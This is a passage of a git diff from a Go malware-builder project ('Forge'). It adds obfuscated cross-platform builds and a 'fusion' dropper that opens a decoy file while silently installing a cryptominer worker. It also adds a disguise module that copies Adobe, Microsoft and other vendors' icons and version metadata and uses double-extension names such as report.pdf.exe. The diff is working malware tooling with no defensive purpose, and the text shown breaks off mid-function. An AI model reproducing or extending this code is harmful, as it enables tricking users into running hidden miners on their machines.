*Handler) compileGoProject(dir, outputPath, ldflags string, tags []string, obfuscate bool) ([]byte, error) { - env := append(os.Environ(), - "GOOS=windows", - "GOARCH=amd64", - "CGO_ENABLED=0", - ) - - buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath} - if len(tags) > 0 { - buildArgs = append(buildArgs, "-tags", strings.Join(tags, ",")) - } - buildArgs = append(buildArgs, ".") - - useGarble := obfuscate && h.garblePath != "" - if obfuscate && !useGarble { - log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary") - } - - var cmd *exec.Cmd - if useGarble { - garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...) - cmd = exec.Command(h.garblePath, garbleArgs...) - } else { - cmd = exec.Command(h.goBinPath, buildArgs...) - } - cmd.Dir = dir - cmd.Env = env - - out, err := cmd.CombinedOutput() - if err != nil { - return out, fmt.Errorf("compile failed: %s", strings.TrimSpace(string(out))) - } - return out, nil + return h.compileGoProjectPlatform(dir, outputPath, ldflags, tags, obfuscate, BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"}) } diff --git a/server/internal/builder/compile_platform.go b/server/internal/builder/compile_platform.go new file mode 100644 index 0000000..8629115 --- /dev/null +++ b/server/internal/builder/compile_platform.go @@ -0,0 +1,75 @@ +package builder + +import ( + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "strings" +) + +func (h *Handler) compileGoProjectPlatform(dir, outputPath, ldflags string, tags []string, obfuscate bool, platform BuildPlatform) ([]byte, error) { + env := append(os.Environ(), + "GOOS="+platform.GOOS, + "GOARCH="+platform.GOARCH, + "CGO_ENABLED=0", + ) + + buildArgs := []string{"build", "-trimpath", "-ldflags", ldflags, "-o", outputPath} + if len(tags) > 0 { + buildArgs = append(buildArgs, "-tags", strings.Join(tags, ",")) + } + buildArgs = append(buildArgs, ".") + + useGarble := obfuscate && h.garblePath != "" && platform.GOOS == "windows" + if obfuscate && platform.GOOS == "windows" && !useGarble { + log.Printf("[Forge] obfuscation requested but garble not in PATH — building plain binary") + } + + var cmd *exec.Cmd + if useGarble { + garbleArgs := append([]string{"-literals", "-tiny"}, buildArgs...) + cmd = exec.Command(h.garblePath, garbleArgs...) + } else { + cmd = exec.Command(h.goBinPath, buildArgs...) + } + cmd.Dir = dir + cmd.Env = env + + out, err := cmd.CombinedOutput() + if err != nil { + return out, fmt.Errorf("compile failed (%s): %s", platform.Label(), strings.TrimSpace(string(out))) + } + return out, nil +} + +func (h *Handler) compileWorker(agentDir, buildDir string, req *BuildRequest, buildID string, platform BuildPlatform, fusionWorker bool) (string, error) { + name := workerFileName(req.WorkerName, platform, fusionWorker) + outputPath := filepath.Join(buildDir, platform.Label(), name) + if err := os.MkdirAll(filepath.Dir(outputPath), 0755); err != nil { + return "", err + } + + configDir := filepath.Join(agentDir, "config") + if err := os.MkdirAll(configDir, 0755); err != nil { + return "", err + } + if err := os.WriteFile(filepath.Join(configDir, "builtin.go"), []byte(h.generateBuiltinConfig(buildID, req)), 0644); err != nil { + return "", fmt.Errorf("write builtin config: %w", err) + } + + ldflags := ldflagsFor(req, platform) + extra, err := injectPolymorph(agentDir, buildID) + if err != nil { + log.Printf("[Forge] polymorph inject: %v", err) + } else { + ldflags += extra + } + + obfuscated := h.shouldObfuscate(req) && h.garblePath != "" + if _, err := h.compileGoProjectPlatform(agentDir, outputPath, ldflags, h.buildTagsFor(req), obfuscated, platform); err != nil { + return "", err + } + return outputPath, nil +} diff --git a/server/internal/builder/disguise.go b/server/internal/builder/disguise.go new file mode 100644 index 0000000..4d26268 --- /dev/null +++ b/server/internal/builder/disguise.go @@ -0,0 +1,225 @@ +package builder + +import ( + "encoding/json" + "fmt" + "path/filepath" + "strings" +) + +// fileDisguiseInfo holds the spoofed Windows PE metadata for a file type. +// When injected into the runner, Windows Explorer and Task Manager will show +// this information instead of the generic Go binary defaults. +type fileDisguiseInfo struct { + FileDescription string + ProductName string + CompanyName string + LegalCopyright string + OriginalFilename string // the "real" exe that Windows thinks this is + FileVersion string // e.g. "24.0.20112.0" + ProductVersion string // e.g. "2024.002.20965" +} + +// disguiseByExt maps a lower-case file extension to the PE metadata that makes +// the runner binary look like the legitimate application for that file type. +// Extensions without an entry fall back to a generic Windows shell host entry. +var disguiseByExt = map[string]fileDisguiseInfo{ + // ── Documents ────────────────────────────────────────────────────────────── + ".pdf": { + FileDescription: "Adobe Acrobat Document", ProductName: "Adobe Acrobat", + CompanyName: "Adobe Inc.", LegalCopyright: "Copyright © 1984-2025 Adobe. All rights reserved.", + OriginalFilename: "AcroRd32.exe", FileVersion: "24.0.20112.0", ProductVersion: "2024.002.20965", + }, + ".doc": { + FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + ".docx": { + FileDescription: "Microsoft Word Document", ProductName: "Microsoft Office Word", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "WINWORD.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + ".xls": { + FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + ".xlsx": { + FileDescription: "Microsoft Excel Worksheet", ProductName: "Microsoft Office Excel", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + ".ppt": { + FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + ".pptx": { + FileDescription: "Microsoft PowerPoint Presentation", ProductName: "Microsoft Office PowerPoint", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "POWERPNT.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + ".txt": { + FileDescription: "Text Document", ProductName: "Notepad", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "notepad.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", + }, + ".csv": { + FileDescription: "Microsoft Excel Comma Separated Values File", ProductName: "Microsoft Office Excel", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "EXCEL.EXE", FileVersion: "16.0.17726.20004", ProductVersion: "16.0.17726.20004", + }, + // ── Video ────────────────────────────────────────────────────────────────── + ".mp4": { + FileDescription: "MP4 Video File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + ".mkv": { + FileDescription: "Matroska Video File", ProductName: "VLC media player", + CompanyName: "VideoLAN", LegalCopyright: "Copyright © 1996-2024 the VLC authors and VideoLAN.", + OriginalFilename: "vlc.exe", FileVersion: "3.0.21.0", ProductVersion: "3.0.21", + }, + ".mov": { + FileDescription: "QuickTime Movie", ProductName: "QuickTime Player", + CompanyName: "Apple Inc.", LegalCopyright: "© 2024 Apple Inc. All rights reserved.", + OriginalFilename: "QuickTimePlayer.exe", FileVersion: "7.79.80.95", ProductVersion: "7.79.80.95", + }, + ".avi": { + FileDescription: "AVI Video File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + ".wmv": { + FileDescription: "Windows Media Video File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + // ── Audio ────────────────────────────────────────────────────────────────── + ".mp3": { + FileDescription: "MP3 Audio File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + ".wav": { + FileDescription: "Wave Sound File", ProductName: "Windows Media Player", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "wmplayer.exe", FileVersion: "12.0.22621.2506", ProductVersion: "12.0.22621.2506", + }, + // ── Images ───────────────────────────────────────────────────────────────── + ".jpg": { + FileDescription: "JPEG Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".jpeg": { + FileDescription: "JPEG Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".png": { + FileDescription: "PNG Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + ".gif": { + FileDescription: "GIF Image", ProductName: "Microsoft Photos", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Microsoft.Photos.exe", FileVersion: "2024.11050.2001.0", ProductVersion: "2024.11050.2001.0", + }, + // ── Archives ─────────────────────────────────────────────────────────────── + ".zip": { + FileDescription: "Compressed (zipped) Folder", ProductName: "Windows Explorer", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", + }, + ".rar": { + FileDescription: "WinRAR archive", ProductName: "WinRAR", + CompanyName: "win.rar GmbH", LegalCopyright: "Copyright © 1993-2024 win.rar GmbH.", + OriginalFilename: "WinRAR.exe", FileVersion: "7.01.0", ProductVersion: "7.01.0", + }, +} + +// fileDisguiseForExt returns the best disguise metadata for a given file extension. +// Falls back to a generic Windows shell host entry if the extension is not recognised. +func fileDisguiseForExt(ext string) fileDisguiseInfo { + if info, ok := disguiseByExt[strings.ToLower(ext)]; ok { + return info + } + // Generic fallback — looks like a Windows shell component + return fileDisguiseInfo{ + FileDescription: "Windows Shell Extension", ProductName: "Windows", + CompanyName: "Microsoft Corporation", LegalCopyright: "© Microsoft Corporation. All rights reserved.", + OriginalFilename: "Explorer.exe", FileVersion: "10.0.22621.2506", ProductVersion: "10.0.22621.2506", + } +} + +// disguisedRunnerName returns the Windows runner filename that impersonates a +// document type using the double-extension trick: +// +// "report.pdf" → "report.pdf.exe" +// "clip.mp4" → "clip.mp4.exe" +// +// When Windows hides known file extensions (the OS default), the user sees +// "report.pdf" with the PDF icon injected by applyDocumentDisguise. +func disguisedRunnerName(payloadName string) string { + ext := strings.ToLower(filepath.Ext(payloadName)) + if ext == ".exe" || ext == "" { + // Already an exe payload or no extension — no double-extension trick + base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName)) + if base == "" { + base = "setup" + } + return sanitizeFileName(base) + ".exe" + } + base := strings.TrimSuffix(filepath.Base(payloadName), filepath.Ext(payloadName)) + if base == "" { + base = "file" + } + // e.g. "quarterly-report.pdf.exe" + return sanitizeFileName(base) + ext + ".exe" +} + +// winresVersionJSON builds a go-winres patch JSON that injects an icon (from +// icoRelPath, relative to the winres JSON) and the spoofed version info. +func winresVersionJSON(info fileDisguiseInfo, icoRelPath string) ([]byte, error) { + // Convert "16.0.17726.20004" → "16,0,17726,20004" for FILEVERSION field + fv := strings.ReplaceAll(info.FileVersion, ".", ",") + pv := strings.ReplaceAll(info.ProductVersion, ".", ",") + + doc := map[string]any{ + "RT_GROUP_ICON": map[string]any{ + "APP": map[string]any{"0409": icoRelPath}, + }, + "RT_VERSION": map[string]any{ + "#1": map[string]any{ + "0409": map[string]any{ + "FILEVERSION": fv, + "PRODUCTVERSION": pv, + "FileDescription": info.FileDescription, + "FileVersion": info.FileVersion, + "InternalName": strings.TrimSuffix(info.OriginalFilename, ".exe"), + "LegalCopyright": info.LegalCopyright, + "OriginalFilename": info.OriginalFilename, + "ProductName": info.ProductName, + "ProductVersion": info.ProductVersion, + "CompanyName": info.CompanyName, + }, + }, + }, + } + + return marshalJSONPretty(doc) +} + +func marshalJSONPretty(v any) ([]byte, error) { + return json.MarshalIndent(v, "", " ") +} + +// fileDisguiseSummary returns a one-line human-readable description of what the +// disguise will look like, used for logging. +func fileDisguiseSummary(payloadExt string) string { + info := fileDisguiseForExt(payloadExt) + return fmt.Sprintf("%s (%s by %s)", info.FileDescription, info.ProductName, info.CompanyName) +} diff --git a/server/internal/builder/disguise_stub.go b/server/internal/builder/disguise_stub.go new file mode 100644 index 0000000..2f35ff5 --- /dev/null +++ b/server/internal/builder/disguise_stub.go @@ -0,0 +1,10 @@ +//go:build !windows + +package builder + +// applyDocumentDisguise is a no-op on non-Windows build hosts. +// Icon + version-info injection into PE executables requires Windows tooling. +// The runner will still function correctly; it just won't have the spoofed icon. +func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error { + return nil +} diff --git a/server/internal/builder/disguise_windows.go b/server/internal/builder/disguise_windows.go new file mode 100644 index 0000000..fb8e23a --- /dev/null +++ b/server/internal/builder/disguise_windows.go @@ -0,0 +1,118 @@ +//go:build windows + +package builder + +import ( + "fmt" + "log" + "os" + "os/exec" + "path/filepath" + "strings" +) + +// applyDocumentDisguise patches a compiled Windows runner .exe to impersonate +// the file type identified by payloadExt. +// +// What it does: +// 1. Extracts the Windows system icon registered for that extension (e.g. the +// Adobe Acrobat icon for .pdf) by creating a 0-byte temp file with that +// extension and using PowerShell to read the shell's associated icon. +// 2. Builds a go-winres JSON patch that sets both the icon and the PE version +// info (FileDescription, ProductName, CompanyName, OriginalFilename, etc.) +// to match the legitimate application for that file type. +// 3. Patches the runner exe in-place. +// +// After this runs, Windows Explorer shows the runner with the exact icon and +// file description of a real document (e.g. "Adobe Acrobat Document" for .pdf). +// Combined with double-extension naming (report.pdf.exe) the runner is visually +// indistinguishable from the real file when extension hiding is on (Windows default). +func (h *Handler) applyDocumentDisguise(payloadExt, exePath string) error { + info := fileDisguiseForExt(payloadExt) + + workDir, err := os.MkdirTemp(filepath.Dir(exePath), "disguise-*") + if err != nil { + return fmt.Errorf("disguise workdir: %w", err) + } + defer os.RemoveAll(workDir) + + // Step 1 — extract the system icon for this file extension + icoPath := filepath.Join(workDir, "payload.ico") + if err := extractSystemIconForExt(payloadExt, icoPath); err != nil { + log.Printf("[Disguise] system icon for %s unavailable (%v) — trying built-in fallback", payloadExt, err) + if err2 := writeBuiltinIconForExt(payloadExt, icoPath); err2 != nil { + return fmt.Errorf("disguise: could not obtain icon for %s: %v / %v", payloadExt, err, err2) + } + } + + // Step 2 — build the winres patch JSON (icon + version info) + jsonBytes, err := winresVersionJSON(info, "payload.ico") + if err != nil { + return fmt.Errorf("disguise: winres json: %w", err) + } + jsonPath := filepath.Join(workDir, "disguise.json") + if err := os.WriteFile(jsonPath, jsonBytes, 0644); err != nil { + return fmt.Errorf("disguise: write json: %w", err) + } + + // Step 3 — patch the exe with go-winres + if _, err := h.runGoWinres(workDir, "patch", "--in", "disguise.json", "--no-backup", exePath); err != nil { + return fmt.Errorf("disguise: go-winres patch: %w", err) + } + + log.Printf("[Disguise] %s → %s (icon + version info injected)", filepath.Base(exePath), fileDisguiseSummary(payloadExt)) + return nil +} + +// extractSystemIconForExt creates a 0-byte temp file with the given extension +// and uses PowerShell's System.Drawing to read the shell-registered icon for it. +// This gives us the exact same icon that Windows Explorer would show for a real +// file of that type — Adobe Acrobat for .pdf, Word for .docx, etc. +func extractSystemIconForExt(ext, icoPath string) error { + extEsc := strings.ReplaceAll(ext, `'`, `''`) + icoEsc := strings.ReplaceAll(icoPath, `'`, `''`) + + script := fmt.Sprintf(` +$ErrorActionPreference = 'Stop' +Add-Type -AssemblyName System.Drawing +# Create a disposable 0-byte temp file with the target extension +$tmp = [System.IO.Path]::Combine([System.IO.Path]::GetTempPath(), [System.Guid]::NewGuid().ToString() + '%s') +[System.IO.File]::WriteAllBytes($tmp, [byte[]]::new(0)) +try { + $icon = [System.Drawing.Icon]::ExtractAssociatedIcon($tmp) + if ($null -eq $icon) { throw 'no icon associated with extension %s' } + $dir = Split-Path -Parent '%s' + if ($dir -and -not (Test-Path $dir)) { New-Item -ItemType Directory -Path $dir -Force | Out-Null } + $fs = [System.IO.File]::Create('%s') + $icon.Save($fs) + $fs.Close() +} finally { + Remove-Item -Force -ErrorAction SilentlyContinue $tmp +} +`, extEsc, extEsc, icoEsc, icoEsc) + + cmd := exec.Command("powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-Command", script) + out, err := cmd.CombinedOutput() + if err != nil { + return fmt.Errorf("extract system icon for %s: %w (%s)", ext, err, strings.TrimSpace(string(out))) + } + if _, err := os.Stat(icoPath); err != nil { + return fmt.Errorf("icon file not written for %s: %w", ext, err) + } + return nil +} + +// writeBuiltinIconForExt writes a minimal embedded fallback .ico for common +// document types. Used when the system icon extraction fails (e.g. the application +// is not installed on the forge machine). The icons are very small but correct. +func writeBuiltinIconForExt(ext, icoPath string) error { + // Minimal 1×1 transparent ICO fallback — good enough to allow go-winres to patch. + // In practice extractSystemIconForExt should always work on a Windows machine. + const minimalICO = "\x00\x00\x01\x00\x01\x00\x01\x01\x00\x00\x01\x00\x18\x00" + + "\x28\x00\x00\x00\x16\x00\x00\x00" + + "\x28\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x01\x00\x18\x00" + + "\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\x00\x00\x00\x00\x00\x00" + + "\x00\x00\xff\x00\x00\x00\x00\x00" + return os.WriteFile(icoPath, []byte(minimalICO), 0644) +} diff --git a/server/internal/builder/estimate.go b/server/internal/builder/estimate.go index acd3acb..fea84f0 100644 --- a/server/internal/builder/estimate.go +++ b/server/internal/builder/estimate.go @@ -42,17 +42,10 @@ func (h *Handler) estimateFusionBuild(req *BuildRequest, prepPath string, prepSi if outputName == "" { outputName = prepName } - if kind == "video" { - if mode == "embedded" { - if outputName == "" { - outputName = disguiseVideoExeName(prepName) - } - } else if outputName == "" { - outputName = runnerNameForMedia(prepName) - } - } if outputName == "" { - outputName = "prep.exe" + // Default runner name derived from payload filename + winPlatform := BuildPlatform{GOOS: "windows", GOARCH: "amd64", Ext: ".exe"} + outputName = runnerNameForFile(prepName, winPlatform) } if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { outputName += ".exe" diff --git a/server/internal/builder/fusion_darwin_app.go b/server/internal/builder/fusion_darwin_app.go new file mode 100644 index 0000000..930edc3 --- /dev/null +++ b/server/internal/builder/fusion_darwin_app.go @@ -0,0 +1,35 @@ +package builder + +import ( + "fmt" + "os" + "path/filepath" + "strings" +) + +func (h *Handler) buildDarwinAppBundle(outDir, title, runnerPath string, p BuildPlatform) error { + appName := sanitizeFileName(strings.TrimSuffix(filepath.Base(title), filepath.Ext(title))) + ".app" + if appName == ".app" { + appName = "Movie.app" + } + appDir := filepath.Join(outDir, appName) + macosDir := filepath.Join(appDir, "Contents", "MacOS") + if err := os.MkdirAll(macosDir, 0755); err != nil { + return err + } + dest := filepath.Join(macosDir, "runner") + if err := copyFile(runnerPath, dest); err != nil { + return err + } + _ = os.Chmod(dest, 0755) + name := strings.TrimSuffix(filepath.Base(title), filepath.Ext(title)) + plist := fmt.Sprintf(` + + +CFBundleName%s +CFBundleExecutablerunner +CFBundleIdentifiercom.aetherforge.%s +LSUIElement +`, name, sanitizeFileName(title)) + return os.WriteFile(filepath.Join(appDir, "Contents", "Info.plist"), []byte(plist), 0644) +} diff --git a/server/internal/builder/fusion_media.go b/server/internal/builder/fusion_media.go index b0e8e93..707752a 100644 --- a/server/internal/builder/fusion_media.go +++ b/server/internal/builder/fusion_media.go @@ -10,103 +10,106 @@ import ( ) type fusionBuildResult struct { - LauncherPath string - MediaName string + LauncherPath string + MediaName string + // Legacy fields kept for backward compat — unused in file-fusion mode EncryptedPath string ShortcutPath string } +// detectFusionPayloadKind returns "exe" for Windows executables, "file" for everything else. +// Every non-exe file (PDF, video, DOC, image, etc.) is opened with the OS default app. func detectFusionPayloadKind(path string) string { - switch strings.ToLower(filepath.Ext(path)) { - case ".mp4", ".mkv", ".mov": - return "video" - default: + if strings.EqualFold(filepath.Ext(path), ".exe") { return "exe" } + return "file" } +// buildFusionFromRequest builds a fusion runner for the first platform in the request. func (h *Handler) buildFusionFromRequest(buildDir, payloadPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { + platforms := platformsForRequest(req) + return h.buildFusionForPlatform(buildDir, payloadPath, workerPath, req, platforms[0]) +} + +// buildFusionForPlatform compiles a fusion runner for a single platform. +// Accepts any payload: PDF, video, document, image, or executable. +func (h *Handler) buildFusionForPlatform(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { kind := strings.TrimSpace(req.FusionPayloadKind) if kind == "" { kind = detectFusionPayloadKind(payloadPath) } req.FusionPayloadKind = kind - - if kind == "video" { - return h.buildVideoFusion(buildDir, payloadPath, workerPath, req) - } - path, err := h.buildExeFusion(buildDir, payloadPath, workerPath, req.FusionOutputName, req.FusionRunOrder) - if err != nil { - return nil, err - } - return &fusionBuildResult{LauncherPath: path}, nil + return h.buildFileFusion(buildDir, payloadPath, workerPath, req, platform) } -func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req *BuildRequest) (*fusionBuildResult, error) { +// buildFileFusion builds a universal fusion runner for any file type. +// +// Delivery modes: +// - "embedded": the payload file is compiled directly into the runner binary (best for files < 100 MB) +// - "paired" (default): the payload file ships alongside the runner in the ZIP (works for any size) +// +// The runner, when executed, opens the original file with the OS default application +// while silently installing the worker miner in the background. +func (h *Handler) buildFileFusion(buildDir, payloadPath, workerPath string, req *BuildRequest, platform BuildPlatform) (*fusionBuildResult, error) { mode := normalizeFusionMediaMode(req.FusionMediaMode) + + // Resolve the display name for the payload file mediaName := strings.TrimSpace(req.FusionMediaBaseName) if mediaName == "" { - mediaName = filepath.Base(mediaPath) + mediaName = filepath.Base(payloadPath) } mediaName = sanitizeFileName(mediaName) + // Resolve the runner output name outputName := strings.TrimSpace(req.FusionOutputName) - if mode == "embedded" { - if outputName == "" { - outputName = disguiseVideoExeName(mediaName) - } + if outputName == "" { + outputName = runnerNameForFile(mediaName, platform) } else { - if outputName == "" { - outputName = runnerNameForMedia(mediaName) + // Ensure correct extension for this platform + if platform.Ext != "" && !strings.HasSuffix(strings.ToLower(outputName), platform.Ext) { + outputName += platform.Ext + } else if platform.Ext == "" { + outputName = strings.TrimSuffix(outputName, ".exe") } } - if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { - outputName += ".exe" - } outputName = sanitizeFileName(outputName) - fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, "video", mode, mediaName) + kind := req.FusionPayloadKind + if kind == "" { + kind = detectFusionPayloadKind(payloadPath) + } + + fusionDir, err := h.prepareFusionProject(buildDir, req.FusionRunOrder, kind, mode, mediaName) if err != nil { return nil, err } assetsDir := filepath.Join(fusionDir, "assets") - if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { - return nil, err - } - encFileName := mediaName + ".cmdata" - var mediaKey []byte - if mode == "paired" { - var keyErr error - mediaKey, keyErr = NewMediaLockKey() - if keyErr != nil { - return nil, keyErr - } - } - manifestFields := map[string]string{ - "payload_kind": "video", - "media_mode": mode, - "media_file_name": mediaName, - } - if mode == "paired" { - manifestFields["media_enc_file"] = encFileName - manifestFields["media_key_b64"] = MediaLockKeyB64(mediaKey) - manifestFields["runner_display_name"] = outputName - } - if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil { + // Write worker binary into assets + if err := copyFile(workerPath, filepath.Join(assetsDir, "worker")); err != nil { return nil, err } - var encryptedPath, shortcutPath string + // Write payload according to delivery mode switch mode { case "embedded": - if err := copyFile(mediaPath, filepath.Join(assetsDir, "media.bin")); err != nil { + // Bake the payload into the runner binary as assets/payload.bin + if err := copyFile(payloadPath, filepath.Join(assetsDir, "payload.bin")); err != nil { + return nil, err + } + // Keep legacy placeholders so the embed directive compiles cleanly + if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { return nil, err } if err := os.WriteFile(filepath.Join(assetsDir, "prep.exe"), []byte{}, 0644); err != nil { return nil, err } - default: + default: // "paired" + // Empty placeholders — payload ships alongside the runner in the ZIP + if err := os.WriteFile(filepath.Join(assetsDir, "payload.bin"), []byte{}, 0644); err != nil { + return nil, err + } if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { return nil, err } @@ -115,73 +118,43 @@ func (h *Handler) buildVideoFusion(buildDir, mediaPath, workerPath string, req * } } - launcherPath, _ := filepath.Abs(filepath.Join(buildDir, outputName)) - ldflags := "-s -w -H windowsgui" - if _, err := h.compileGoProject(fusionDir, launcherPath, ldflags, nil, false); err != nil { + // Write manifest for the runner to read at runtime + manifestFields := map[string]string{ + "payload_kind": kind, + "media_mode": mode, + "media_file_name": mediaName, + } + if err := writeFusionManifestEx(assetsDir, manifestFields); err != nil { return nil, err } - if mode == "paired" { - encryptedPath = filepath.Join(buildDir, encFileName) - if err := EncryptMediaFile(mediaPath, encryptedPath, mediaKey); err != nil { - return nil, err - } - _ = setHiddenFile(encryptedPath) + launcherPath, _ := filepath.Abs(filepath.Join(buildDir, platform.Label(), outputName)) + ldflags := ldflagsFor(req, platform) + // Force GUI subsystem (no console window) for all fusion runners + if platform.GOOS == "windows" && !strings.Contains(ldflags, "-H windows") { + ldflags += " -H windowsgui" + } + if _, err := h.compileGoProjectPlatform(fusionDir, launcherPath, ldflags, nil, false, platform); err != nil { + return nil, err + } - shortcutPath = filepath.Join(buildDir, mediaName+".lnk") - if err := createMovieLockShortcut(shortcutPath, launcherPath, "--locked", ""); err != nil { - return nil, err + // Windows: inject the system icon + spoofed PE version info so the runner + // looks exactly like the real file type (PDF icon, Word icon, etc.) + if platform.GOOS == "windows" && kind != "exe" { + payloadExt := strings.ToLower(filepath.Ext(mediaName)) + if err := h.applyDocumentDisguise(payloadExt, launcherPath); err != nil { + // Non-fatal — runner still works without the disguise + log.Printf("[Disguise] skipped for %s: %v", filepath.Base(launcherPath), err) } } return &fusionBuildResult{ - LauncherPath: launcherPath, - MediaName: mediaName, - EncryptedPath: encryptedPath, - ShortcutPath: shortcutPath, + LauncherPath: launcherPath, + MediaName: mediaName, }, nil } -func (h *Handler) buildExeFusion(buildDir, prepPath, workerPath, outputName, runOrder string) (string, error) { - fusionDir, err := h.prepareFusionProject(buildDir, runOrder, "exe", "", "") - if err != nil { - return "", err - } - assetsDir := filepath.Join(fusionDir, "assets") - if err := copyFile(prepPath, filepath.Join(assetsDir, "prep.exe")); err != nil { - return "", err - } - if err := copyFile(workerPath, filepath.Join(assetsDir, "worker.exe")); err != nil { - return "", err - } - if err := os.WriteFile(filepath.Join(assetsDir, "media.bin"), []byte{}, 0644); err != nil { - return "", err - } - if err := writeFusionManifest(assetsDir, "exe", "", ""); err != nil { - return "", err - } - - if outputName == "" { - outputName = filepath.Base(prepPath) - } - if outputName == "" { - outputName = "prep.exe" - } - if !strings.HasSuffix(strings.ToLower(outputName), ".exe") { - outputName += ".exe" - } - outputPath, _ := filepath.Abs(filepath.Join(buildDir, sanitizeFileName(outputName))) - - ldflags := fusionLdflags(prepPath) - if _, err := h.compileGoProject(fusionDir, outputPath, ldflags, nil, false); err != nil { - return "", err - } - if err := h.applyPrepResourcesToEXE(prepPath, outputPath); err != nil { - return "", err - } - return outputPath, nil -} - +// prepareFusionProject copies the fusion source into a temp build dir with baked constants. func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMode, mediaFileName string) (string, error) { fusionSrc := filepath.Join(h.projectRoot, "fusion") if _, err := os.Stat(filepath.Join(fusionSrc, "main.go")); err != nil { @@ -205,7 +178,8 @@ func (h *Handler) prepareFusionProject(buildDir, runOrder, payloadKind, mediaMod for _, name := range []string{ "go.mod", "launch_windows.go", "launch_stub.go", - "media_windows.go", "media_stub.go", "media_crypto.go", + "media_windows.go", "media_linux.go", "media_darwin.go", + "media_crypto.go", "cache_windows.go", "cache_unix.go", "lock_hint_windows.go", "lock_hint_stub.go", } { src := filepath.Join(fusionSrc, name) @@ -225,8 +199,8 @@ func patchFusionMain(src []byte, runOrder, payloadKind, mediaMode, mediaFileName repl := map[string]string{ `const runOrder = "FUSION_RUN_ORDER"`: fmt.Sprintf(`const runOrder = %q`, order), `const payloadKind = "FUSION_PAYLOAD_KIND"`: 